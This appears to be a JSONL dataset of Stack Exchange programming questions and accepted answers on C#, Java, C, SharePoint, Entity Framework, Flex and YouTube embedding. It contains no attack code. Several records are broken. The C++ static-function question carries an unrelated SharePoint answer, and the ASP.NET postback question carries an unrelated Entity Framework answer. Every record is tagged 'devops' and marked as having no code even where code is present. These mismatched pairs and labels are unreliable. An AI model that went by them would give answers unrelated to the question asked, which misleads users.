{"id": "hf_339c26e4f3ec", "question": "<p>This is my code:</p>\n\n<pre><code>internal enum WindowsMessagesFlags {\n    WM_EXITSIZEMOVE      = 0x00000232,\n    WM_DISPLAYCHANGE     = 0x0000007e,\n    WM_MOVING            = 0x00000216,\n}\n\nprotected override void WndProc(ref Message m) {\n    switch(m.Msg) {\n        case (int)WindowsMessagesFlags.WM_DISPLAYCHANGE:\n            FixWindowSnapping();\n            break;\n        case (int)WindowsMessagesFlags.WM_EXITSIZEMOVE:\n            SaveWindowProperties();\n            break;\n        case (int)WindowsMessagesFlags.WM_MOVING:\n            KeepProperLocation(ref m);\n            break;\n    }\n}\n</code></pre>\n\n<p>Is there anyway to prevent the casting?</p>\n", "question_body": "", "answer": "Sort of - cast m.Msg instead:\n```\n```\nprotected override void WndProc(ref Message m) {\n    switch((WindowsMessagesFlags) m.Msg) {\n        case WindowsMessagesFlags.WM_DISPLAYCHANGE:\n                FixWindowSnapping();\n                break;\n        case WindowsMessagesFlags.WM_EXITSIZEMOVE:\n                SaveWindowProperties();\n                break;\n        case WindowsMessagesFlags.WM_MOVING:\n                KeepProperLocation(ref m);\n                break;\n    }\n}\n```\n```\nThe reason you need the cast at all is because in C# enums aren't just numbers - they're numbers associated with the type. This prevents you from doing (without casting):\n```\n```\nHttpStatusCode status = someWindowsMessageFlag;\n```\n```\nThis is clearly a good thing :) When you need to, however, you can always go \"via\" the underlying type (int in this case).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.079897"}
{"id": "hf_99eb3270e807", "question": "<p>I am using Eclipse 3.3.2 with the Flex Builder Plugin (3.0.194161) and the Flex SDK 3.2. Recently the intellisense has started forgetting about everything in the flash.* package EXCEPT flash.errors.*</p>\n\n<p>The code still compiles, but attempting to automatically resolve something (CTRL+SPACE) removes any of the flash.* import statements and thus causes a compile error. As it stands I have to either not use CTRL+SPACE, or re-add my flash.* before compiling.</p>\n\n<p>I have tried recreating the workspace/project and have re-installed the Flex SDK, but I still get the same problem.</p>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "I was able to work around the problem by adding the following SWC to my library path: FLEX_SDK\\libs\\player\\10\\playerglobal.swc\nIt looks like the problem is caused by {targetPlayerMajorVersion} no longer resolving, though I have no idea how that happened.\nEdit:\nKnown bug, as described in\nFB-16703\nand\n\"Targeting Flash Player 10\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.120082"}
{"id": "hf_9b3739e2dbb7", "question": "<p>I have an ActiveX plugin that we need (if possible) to run in Firefox. Is there a plugin (or other way) for Firefox that will allow this?</p>\n", "question_body": "", "answer": "You used to be able to in Firefox 1.5 but not any longer I believe, the\nplugin\ndoesnt seem to be supported anymore.\nMore info\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.154875"}
{"id": "hf_3ef533b09f37", "question": "<p>Imagine I have a document (word document).</p>\n\n<p>I have an enumeration which will indicate how to extract data from the document. So if I want just text, the images, or both (3 members of the enumeration).</p>\n\n<p>I have a case statement based on this enumeration, but without falling into a code smell, how can I write code which isn't too repetitive? For every condition in the switch, should I have a seperate method (the easiest way), or a method accepting a paremeter (like the value of the enumeration), and then use if statements to say if(xyz) do abc, and so on.</p>\n\n<p>Or is there a quicker, more efficient way?</p>\n", "question_body": "", "answer": "I would use a Strategy pattern coupled with a factory to create the appropriate strategy based on the value of the enumeration.\nEDIT\nAs others have pointed out you could also determine the correct strategy via a Map as well.  Factory is my choice because it only encapsulates the logic and doesn't require any data storage.\n```\n```\npublic interface IExtractionStrategy\n{\n    object Extract( Document doc );  // or what ever result is best\n}\n\npublic class TextExtractionStrategy : IExtractionStrategy\n{\n    public object Extract( Document doc )\n    {\n     .... algorithm for extracting text...\n    }\n}\n\npublic class ImageExtractionStrategy : IExtractionStrategy\n{\n    public object Extract( Document doc )\n    {\n     .... algorithm for extracting images...\n    }\n}\n\npublic static class StrategyFactory\n{\n     IExtractionStrategy GetStrategy( ExtractionEnum strategyType )\n     {\n         switch (strategyType)\n         {\n             case ExtractionEnum.Text:\n                 return new TextExtractionStrategy();\n                 break;\n             case ExtractionEnum.Image:\n                 return new ImageExtractionStrategy();\n                 break;\n\n             ...\n         }\n     }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.179398"}
{"id": "hf_f3fb76555b0a", "question": "<p>For months now I've been trying to find a code syntax formatting extension that works for BlogEngine.Net.  I'm not fond of the behavior of the default formatting extension, and have tried a couple of others (manoli is among them), but they always seem to interact badly with the TinyMCE editor.  Does anyone know of an extension that works, or a different approach that will allow me to make code samples pretty on my blog without hacking the crap out of the HTML myself?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I would try using Windows Live Writer along w/ the Paste From Visual Studio plugin. One you go WLW, you'll never go back to that damn TinyMCE interface.\nWLW here:\nhttp://get.live.com/writer/overview\nPlugin here:\nhttp://gallery.live.com/liveItemDetail.aspx?li=d8835a5e-28da-4242-82eb-e1a006b083b9&l=8", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.229402"}
{"id": "hf_eb9f829d9daf", "question": "<p>For the better part of 10 years + we have relied on various network mapped drives to allow file sharing.  One drive letter for sharing files between teams, a seperate file share for the entire organization, a third for personal use etc.  I would like to move away from this and am trying to decide if an ECM/Sharepoint type solution, or home grown app, is worth the cost and the way to go?  Or if we should simply remain relying on login scripts/mapped drives for file sharing due to its relative simplicity?  Does anyone have any exeperience within their own organization or thoughts on this?</p>\n\n<p>Thanks. </p>\n", "question_body": "", "answer": "SharePoint is very good at document sharing.\nDocuments generally follow a process for approval, have permissions, live in clusters... and these things lend themselves well to SharePoints document libraries.\nHowever there are somethings that don't lend themselves well to living inside SharePoint... do you have a virtual hard drive (.vhd) file that you want to share with a workmate? Not such a good idea to try and put a 20GB file into SharePoint.\nSharePoint can handle large files, and so can SQL Server behind it... but do you want your SQL Server bandwidth being saturated by such large files? Do you want your backup of SQL Server to hold copies of such large files multiple times?\nI believe that there are a few Microsoft partners who offer the ability to disassociate file blobs from the SharePoint database, so that SharePoint can hold the metadata and a file system holds the actual files, and SharePoint simply becomes the gateway to manage access, permissions, and offer a centralised interface to files throughout an organisation. This would offer you the best of both worlds.\nRight now though, I consider SharePoint ideal for documents, and I keep large files (that are not document centric) on Windows file shares.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.254717"}
{"id": "hf_f4525004bab0", "question": "<p>Lets say I need to write several functions processing some data. These functions are performing a single task - some mathematical calculations. I suppose there is no need to combine them with some data members.</p>\n\n<p>Shall I use:</p>\n\n<ol>\n<li>a class without data members and declare these functions as static methods so I can use them without creating class object,</li>\n<li>or an anonymous namespace,</li>\n<li>or maybe I need something more complicated in terms of architecture and design?</li>\n</ol>\n\n<p>Actually, the language I am writing in is C++, but I think this question doesn't depend on what the language of development is.</p>\n", "question_body": "", "answer": "SharePoint is very good at document sharing.\nDocuments generally follow a process for approval, have permissions, live in clusters... and these things lend themselves well to SharePoints document libraries.\nHowever there are somethings that don't lend themselves well to living inside SharePoint... do you have a virtual hard drive (.vhd) file that you want to share with a workmate? Not such a good idea to try and put a 20GB file into SharePoint.\nSharePoint can handle large files, and so can SQL Server behind it... but do you want your SQL Server bandwidth being saturated by such large files? Do you want your backup of SQL Server to hold copies of such large files multiple times?\nI believe that there are a few Microsoft partners who offer the ability to disassociate file blobs from the SharePoint database, so that SharePoint can hold the metadata and a file system holds the actual files, and SharePoint simply becomes the gateway to manage access, permissions, and offer a centralised interface to files throughout an organisation. This would offer you the best of both worlds.\nRight now though, I consider SharePoint ideal for documents, and I keep large files (that are not document centric) on Windows file shares.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.279307"}
{"id": "hf_8bfb17950234", "question": "<p>Is there a way to query or just access newly added object (using ObjectContext.AddObject method) in Entity Framework? I mean situation when it is not yet saved to data store using SaveChanges</p>\n\n<p>I understand that queries are translated to underlying SQL and executed against data store, and it don't have this new object yet. But anyway, I'm curious - if it is not oficially supported, maybe it is possible in theory. If it's not, how developer can deal with it? Manually track new objects and query them using Linq to objects?</p>\n\n<p>The same question also applies to LinqToSql.</p>\n", "question_body": "", "answer": "In EF, if you use this code, you have all the entities that are already loaded in the context (including newly added ones) :\n```\n```\ncontext.ObjectStateManager.GetObjectStateEntries(EntityState.Added | EntityState.Modified | EntityState.Unchanged).Select(o => o.Entity).OfType<YourObjectType>()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.307709"}
{"id": "hf_7891050c5bc0", "question": "<p>I know there is a similar problem on this forum, but the solutions did not really work for me.  I am populating form controls with fields from a few different data sources, and the data shows up great.</p>\n\n<p>I have an <code>ImageButton</code> control, which has an <code>OnClick</code> Event set to grab all of the data from the form.  Unfortunately, when I click the button, it seems as though the page is reloading first, and THEN is executes the <code>OnClick</code> call.  The data that was hand-entered, or hard-coded seems to be pulled fine from the controls it was entered in, but anything that was pulled from a datasource is not able to be read.  Any ideas.  this is the last hurdle in a project that I have been working on for 6 months.</p>\n", "question_body": "", "answer": "In EF, if you use this code, you have all the entities that are already loaded in the context (including newly added ones) :\n```\n```\ncontext.ObjectStateManager.GetObjectStateEntries(EntityState.Added | EntityState.Modified | EntityState.Unchanged).Select(o => o.Entity).OfType<YourObjectType>()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.331364"}
{"id": "hf_86804c4da4c4", "question": "<p>I'm stuck on what appears to be a CSS/z-index conflict with the YouTube player. In Firefox 3 under Windows XP, Take a look at this page: <a href=\"http://spokenword.org/program/21396\" rel=\"noreferrer\">http://spokenword.org/program/21396</a> Click on the Collect button and note that the pop-up &lt;div> appears <em>under</em> the YouTube player. On other browsers the &lt;div> appears on top. It has a z-index value of 999999. I've tried setting the z-index of the &lt;object> element containing the player to a lower value, but that didn't work. Any idea how to get the pop-up to appear over the player?</p>\n", "question_body": "", "answer": "Try to add the\n```\nwmode\n```\nparameter to be\n```\nopaque\n```\nlike this:\n(Note that it's included in\nboth\na\n```\n<param>\n```\ntag\nand\na\n```\nwmode\n```\nattribute on the\n```\n<embed>\n```\ntag.)\n```\n```\n<object width='425' height='344'> \n    <param name='movie' value='http://www.youtube.com/v/Wj_JNwNbETA&hl=en&fs=1'> \n    <param name='type' value='application/x-shockwave-flash'> \n    <param name='allowfullscreen' value='true'> \n    <param name='allowscriptaccess' value='always'> \n    <param name=\"wmode\" value=\"opaque\" />\n    <embed width='425' height='344'\n            src='http://www.youtube.com/v/Wj_JNwNbETA&hl=en&fs=1'\n            type='application/x-shockwave-flash'\n            allowfullscreen='true'\n            allowscriptaccess='always'\n            wmode=\"opaque\"\n    ></embed> \n    </object>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.355400"}
{"id": "hf_16201343d498", "question": "<p>What is a generic list manipulation function in C?\n(I saw this when I was going through some materials.)</p>\n\n<p>What  is the difference between this function and a function which can accept elements of any kind?</p>\n\n<p>Are they same...? How can we implement them individually if they are not same?</p>\n", "question_body": "", "answer": "A generic list is likely to be singly-linked, and probably assumes that the items in the list have a structure like this:\n```\n```\ntypedef struct list_item list_item;\n\nstruct list_item\n{\n    list_item *next;\n    ...data for node...\n};\n```\n```\nUsing this layout, you can write functions to manipulate lists using just the next pointers.\nSometimes, the '\n```\n...data for node...\n```\n' will be a simple '\n```\nvoid *\n```\n'; that is, the list items will contain pointers to the next node in the list (or NULL if there is no next node) and pointers to the data.\n```\n```\ntypedef struct list list;\n\nstruct list\n{\n    list *next;\n    void *data;\n};\n```\n```\nSince you can cast any pointer to '\n```\nvoid *\n```\n', you can have any mix of data types in the list - but your code must know how to handle them.\nYou ask about 'a' generic list function, but there probably isn't a single one-function-does-all design, and certainly not a simple one.  There are a number of possible sets of functions that could make generic list functions.  One set, inspired by Lisp, would consist of:\n```\n```\nvoid *car(list *lp);    // Return the data for the first item on the list\nlist *cdr(list *lp);    // Return the tail of the list\nlist *cons(list *lp1, list *lp2);   // Construct a list from lists lp1 and lp2\n\nlist *cond(list *lp, void *data);  // Append data item to list\n```\n```\nYou probably want to provide the ability to test whether the list is empty, and a few other items.\nOne good exposition, admittedly in C++, is found in Koenig's \"\nRuminations on C++\n\".  The ideas can be adapted into C quite easily - it isn't dreadfully hard (though the storage management in C is harder than in C++).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.379381"}
{"id": "hf_a2c629f3951d", "question": "<p>What is forward reference in C with respect to pointers?</p>\n\n<p>Can I get an example?</p>\n", "question_body": "", "answer": "See this page on\nforward references\n.  I don't see how forward referencing would be different with pointers and with other PoD types.\nNote that you can forward declare types, and declare variables which are pointers to that type:\n```\n```\nstruct MyStruct;\nstruct MyStruct *ptr;\nstruct MyStruct var;  // ILLEGAL\nptr->member;  // ILLEGAL\n\nstruct MyStruct {\n    // ...\n};\n\n// Or:\n\ntypedef struct MyStruct MyStruct;\nMyStruct *ptr;\nMyStruct var;  // ILLEGAL\nptr->member;  // ILLEGAL\n\nstruct MyStruct {\n    // ...\n};\n```\n```\nI think this is what you're asking for when dealing with pointers and forward declaration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.415176"}
{"id": "hf_c84752b35f89", "question": "<p>I need to create an application that when a user copies a file into an specific folder, my application will be activated and the file will be changed, also, when the user reads back any file in the folder, changes will also be made to the file.</p>\n\n<p>Is it possible?</p>\n\n<p>I'll use .net for this.</p>\n\n<p>I think the folder C:\\WINDOWS\\assembly is somehow like this?</p>\n\n<p>Any help will be appreciated!\nThanks!</p>\n", "question_body": "", "answer": "Well, I'm sure you could write an explorer extension that would do that, but the more typical method that I know of is to write a windows service that monitors the directory in question using the FileSystemWatcher class to monitor events.\nThe service can then perform the requested actions (or spawn an executable to do it).\nOne caveat I have noticed is that sometimes the file watcher can miss events if a lot of activity occurs at once (as of .net 2.0 - haven't checked 3.5).\nIf you use that method, make sure you check the directory contents yourself when you receive a change notification rather than relying on what the filewatcher tells you. I ended up combining the filewatcher event handling with an infrequent poll just to make sure I didn't miss anything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.506642"}
{"id": "hf_9727cacbdba5", "question": "<p>I'm trying to verify that a parameter is an instance of a specific class in Rails:</p>\n\n<pre><code>def schedule(action, *args)\n  if arg.is_a? Aircraft\n    ...\n  end\nend\n</code></pre>\n\n<p>I'm doing this in a library class (the file is in <em>lib/</em>) and I get an <strong>uninitialized constant Aircraft</strong> error. Aircraft is a model class, with a corresponding <em>aircraft.rb</em> file in <em>app/models</em>.</p>\n\n<p>Can I use model classes and instances in a library? How?</p>\n\n<hr>\n\n<p><strong>Error context:</strong></p>\n\n<p>The error happens in RSpec tests; the code works in the browser. I tried requiring the model in the <em>_spec.rb</em> file, no success at the moment.</p>\n", "question_body": "", "answer": "This will give you access to the Aircraft model:\n```\n```\nrequire File.dirname(__FILE__) + \"/../app/models/aircraft\"\n```\n```\n[edit]\nDaniel brings up a good point about the context. If you're using a rake task make sure you load the environment:\n```\n```\ntask :my_task => :environment do\n  # something happens...\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.529395"}
{"id": "hf_f72f5d29da3e", "question": "<p>I am trying to create an expression tree that represents the following:</p>\n\n<pre><code>myObject.childObjectCollection.Any(i =&gt; i.Name == \"name\");\n</code></pre>\n\n<p>Shortened for clarity, I have the following:</p>\n\n<pre><code>//'myObject.childObjectCollection' is represented here by 'propertyExp'\n//'i =&gt; i.Name == \"name\"' is represented here by 'predicateExp'\n//but I am struggling with the Any() method reference - if I make the parent method\n//non-generic Expression.Call() fails but, as per below, if i use &lt;T&gt; the \n//MethodInfo object is always null - I can't get a reference to it\n\nprivate static MethodCallExpression GetAnyExpression&lt;T&gt;(MemberExpression propertyExp, Expression predicateExp)\n{\n    MethodInfo method = typeof(Enumerable).GetMethod(\"Any\", new[]{ typeof(Func&lt;IEnumerable&lt;T&gt;, Boolean&gt;)});\n    return Expression.Call(propertyExp, method, predicateExp);\n}\n</code></pre>\n\n<p>What am I doing wrong? Anyone have any suggestions?</p>\n", "question_body": "", "answer": "There are several things wrong with how you're going about it.\nYou're mixing abstraction levels. The T parameter to\n```\nGetAnyExpression<T>\n```\ncould be different to the type parameter used to instantiate\n```\npropertyExp.Type\n```\n. The T type parameter is one step closer in the abstraction stack to compile time - unless you're calling\n```\nGetAnyExpression<T>\n```\nvia reflection, it will be determined at compile time - but the type embedded in the expression passed as\n```\npropertyExp\n```\nis determined at runtime. Your passing of the predicate as an\n```\nExpression\n```\nis also an abstraction mixup - which is the next point.\nThe predicate you are passing to\n```\nGetAnyExpression\n```\nshould be a delegate value, not an\n```\nExpression\n```\nof any kind, since you're trying to call\n```\nEnumerable.Any<T>\n```\n. If you were trying to call an expression-tree version of\n```\nAny\n```\n, then you ought to pass a\n```\nLambdaExpression\n```\ninstead, which you would be quoting, and is one of the rare cases where you might be justified in passing a more specific type than Expression, which leads me to my next point.\nIn general, you should pass around\n```\nExpression\n```\nvalues. When working with expression trees in general - and this applies across all kinds of compilers, not just LINQ and its friends - you should do so in a way that's agnostic as to the immediate composition of the node tree you're working with. You are\npresuming\nthat you're calling\n```\nAny\n```\non a\n```\nMemberExpression\n```\n, but you don't actually\nneed to know\nthat you're dealing with a\n```\nMemberExpression\n```\n, just an\n```\nExpression\n```\nof type some instantiation of\n```\nIEnumerable<>\n```\n. This is a common mistake for people not familiar with the basics of compiler ASTs.\nFrans Bouma\nrepeatedly made the same mistake when he first started working with expression trees - thinking in special cases. Think generally. You'll save yourself a lot of hassle in the medium and longer term.\nAnd here comes the meat of your problem (though the second and probably first issues would have bit you if you had gotten past it) - you need to find the appropriate generic overload of the Any method, and then instantiate it with the correct type. Reflection doesn't provide you with an easy out here; you need to iterate through and find an appropriate version.\nSo, breaking it down: you need to find a generic method (\n```\nAny\n```\n). Here's a utility function that does that:\n```\n```\nstatic MethodBase GetGenericMethod(Type type, string name, Type[] typeArgs, \n    Type[] argTypes, BindingFlags flags)\n{\n    int typeArity = typeArgs.Length;\n    var methods = type.GetMethods()\n        .Where(m => m.Name == name)\n        .Where(m => m.GetGenericArguments().Length == typeArity)\n        .Select(m => m.MakeGenericMethod(typeArgs));\n\n    return Type.DefaultBinder.SelectMethod(flags, methods.ToArray(), argTypes, null);\n}\n```\n```\nHowever, it requires the type arguments and the correct argument types. Getting that from your\n```\npropertyExp\n```\n```\nExpression\n```\nisn't entirely trivial, because the\n```\nExpression\n```\nmay be of a\n```\nList<T>\n```\ntype, or some other type, but we need to find the\n```\nIEnumerable<T>\n```\ninstantiation and get its type argument. I've encapsulated that into a couple of functions:\n```\n```\nstatic bool IsIEnumerable(Type type)\n{\n    return type.IsGenericType\n        && type.GetGenericTypeDefinition() == typeof(IEnumerable<>);\n}\n\nstatic Type GetIEnumerableImpl(Type type)\n{\n    // Get IEnumerable implementation. Either type is IEnumerable<T> for some T, \n    // or it implements IEnumerable<T> for some T. We need to find the interface.\n    if (IsIEnumerable(type))\n        return type;\n    Type[] t = type.FindInterfaces((m, o) => IsIEnumerable(m), null);\n    Debug.Assert(t.Length == 1);\n    return t[0];\n}\n```\n```\nSo, given any\n```\nType\n```\n, we can now pull the\n```\nIEnumerable<T>\n```\ninstantiation out of it - and assert if there isn't (exactly) one.\nWith that work out of the way, solving the real problem isn't too difficult. I've renamed your method to CallAny, and changed the parameter types as suggested:\n```\n```\nstatic Expression CallAny(Expression collection, Delegate predicate)\n{\n    Type cType = GetIEnumerableImpl(collection.Type);\n    collection = Expression.Convert(collection, cType);\n\n    Type elemType = cType.GetGenericArguments()[0];\n    Type predType = typeof(Func<,>).MakeGenericType(elemType, typeof(bool));\n\n    // Enumerable.Any<T>(IEnumerable<T>, Func<T,bool>)\n    MethodInfo anyMethod = (MethodInfo)\n        GetGenericMethod(typeof(Enumerable), \"Any\", new[] { elemType }, \n            new[] { cType, predType }, BindingFlags.Static);\n\n    return Expression.Call(\n        anyMethod,\n            collection,\n            Expression.Constant(predicate));\n}\n```\n```\nHere's a\n```\nMain()\n```\nroutine which uses all the above code and verifies that it works for a trivial case:\n```\n```\nstatic void Main()\n{\n    // sample\n    List<string> strings = new List<string> { \"foo\", \"bar\", \"baz\" };\n\n    // Trivial predicate: x => x.StartsWith(\"b\")\n    ParameterExpression p = Expression.Parameter(typeof(string), \"item\");\n    Delegate predicate = Expression.Lambda(\n        Expression.Call(\n            p,\n            typeof(string).GetMethod(\"StartsWith\", new[] { typeof(string) }),\n            Expression.Constant(\"b\")),\n        p).Compile();\n\n    Expression anyCall = CallAny(\n        Expression.Constant(strings),\n        predicate);\n\n    // now test it.\n    Func<bool> a = (Func<bool>) Expression.Lambda(anyCall).Compile();\n    Console.WriteLine(\"Found? {0}\", a());\n    Console.ReadLine();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.610262"}
{"id": "hf_e5d8804720ea", "question": "<p>I have 5 <a href=\"http://h10010.www1.hp.com/wwpc/us/en/sm/WF06a/12454-12454-321959-338927-89307-3341951.html\" rel=\"nofollow noreferrer\">HP Compaq t5530 Thin Clients</a> with Windows CE 6.0 installed in 'em. I have a Windows 2003 server. Those 6 PCs should be used for browsing. And a user can browse for an hour and be able to extend time. I need to develop a simple client-server program to control the internet usability.</p>\n<p>What would be a suggested route to solve this?</p>\n", "question_body": "", "answer": "So you are after a time-controlled browser application, and nothing else?  First question: do you have the BSP (board support package) for this device?\nYes\n: Modify the IESAMPLE source code, which is the browser that ships with CE, to have the display you want and remove things like the close button, and maybe even the caption bar.  I'd probably even have it\nimplement all of the required shell functions\nso it could run as the device shell completely. The\nIEShell sample\nwould be a very good start.  Then modify HKLM\\Init in your project to have the reworked IESAMPLE launch at device boot and you're done.\nNo\n: It not going to be as easy, but it's still doable.  Create an app using the\nIWebBrowser2 COM control\nthat has the UI elements you want (like the above suggestions).  Modify HKLM\\Init to launch your app after explorer.exe (you probably will have to let explorer run to be a shell app) or if you do this in C++, implement the required shell functions.  If you let Explorer run, then you need your app to find, disable and hide the Start bar when it initializes.  How you get your app to persist will be hardware dependent - I know nothing about these devices.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.635948"}
{"id": "hf_e716085701ca", "question": "<p>Is there a way to change the connection string of a DataBase object in Enterprise Library at runtime? I've found <a href=\"http://blog.benday.com/archive/2005/05/05/357.aspx\" rel=\"nofollow noreferrer\">this</a> link but its a little bit outdated (2005)</p>\n\n<p>I've also found <a href=\"https://stackoverflow.com/questions/63546/vs2005-c-programmatically-change-connection-string-contained-in-appconfig\">this</a> but it seems to apply to .Net in general, I was wondering if there was something that could be done specifically for EntLib.</p>\n\n<p>I was just passing the connection string name to the CreateDatabase() method in DatabaseFactory object and that worked til yesterday that my project manager asked me to support more than one database instance. It happens that we have to have one database per state (one for CA, one for FL, etc...) so my software needs to cycle through all databases and do something with data but it will use the same config file.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "If you take a look at \"\nEnterprise Library Docs - Adding Application Code\n\"\n it says this:\n\"If you know the connection string for\n  the database you want to create, you\n  can bypass the application's\n  configuration information and use a\n  constructor to directly create the\n  Database object. Because the Database\n  class is an abstract base class, you\n  must construct one of its derived\n  types. The derived Database type\n  determines the ADO.NET data provider.\n  For example, the SqlDatabase class\n  uses the SqlClientFactory provider,\n  the SqlCeDatabase class uses the\n  SqlCeProviderFactory provider, and the\n  OracleDatabase class uses the\n  OracleClientFactory provider. It is\n  your responsibility to construct the\n  appropriate type of Database class for\n  the connection string.\"\nIt then goes on to give some examples. This would suggest that you should not be using the DatabaseFactory and you should be creating a new Database class for each of your different connections.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.728415"}
{"id": "hf_8ec0e20c507b", "question": "<p>I am a PHP developer who is kind of in a pickle. I'm trying to locate and/or build an API capable of speaking to Hotmail, Yahoo and GMAIL in order to retrieve contact lists (with the user's consent, of course). The one I'm having the most trouble finding is a Hotmail API.</p>\n\n<p>Where would I start to look as far as finding either a working, stable API or the steps I could take to developing one for hotmail? Is there one that covers all of these bases that I could implement? Any help would be greatly appreciated!</p>\n\n<p>Thanks!</p>\n\n<p>EDIT:\nI did manage to get a few services up, however, I've been using Open Inviter for at least one client project, and it seems to perform well.</p>\n", "question_body": "", "answer": "Rapleaf might have something for you:\nhttp://www.phpclasses.org/browse/package/4436.html\nIt appears that this service plays cat and mouse with some providers, as not all e-mail providers offer a stable API for communicating with their services.  (It would undermine their business model.)  So, if you use these and the e-mail provider breaks the chain somehow, you're broken until Rapleaf catches up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.763069"}
{"id": "hf_bb348ff77014", "question": "<p>I've been using the idiom below for some time now. And it seems to be the most wide-spread, at least on the sites I've visited.</p>\n\n<p>Is there a better/different way to read a file into a string in Java?</p>\n\n<pre><code>private String readFile(String file) throws IOException {\n    BufferedReader reader = new BufferedReader(new FileReader (file));\n    String         line = null;\n    StringBuilder  stringBuilder = new StringBuilder();\n    String         ls = System.getProperty(\"line.separator\");\n\n    try {\n        while((line = reader.readLine()) != null) {\n            stringBuilder.append(line);\n            stringBuilder.append(ls);\n        }\n\n        return stringBuilder.toString();\n    } finally {\n        reader.close();\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "If you're willing to use an external library, check out\nApache Commons IO\n(200KB JAR). It contains an\n```\norg.apache.commons.io.FileUtils.readFileToString()\n```\nmethod that allows you to read an entire\n```\nFile\n```\ninto a\n```\nString\n```\nwith one line of code.\nExample:\n```\n```\nimport java.io.*;\nimport java.nio.charset.*;\nimport org.apache.commons.io.*;\n\npublic String readFile() throws IOException {\n    File file = new File(\"data.txt\");\n    return FileUtils.readFileToString(file, StandardCharsets.UTF_8);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:56.819452"}
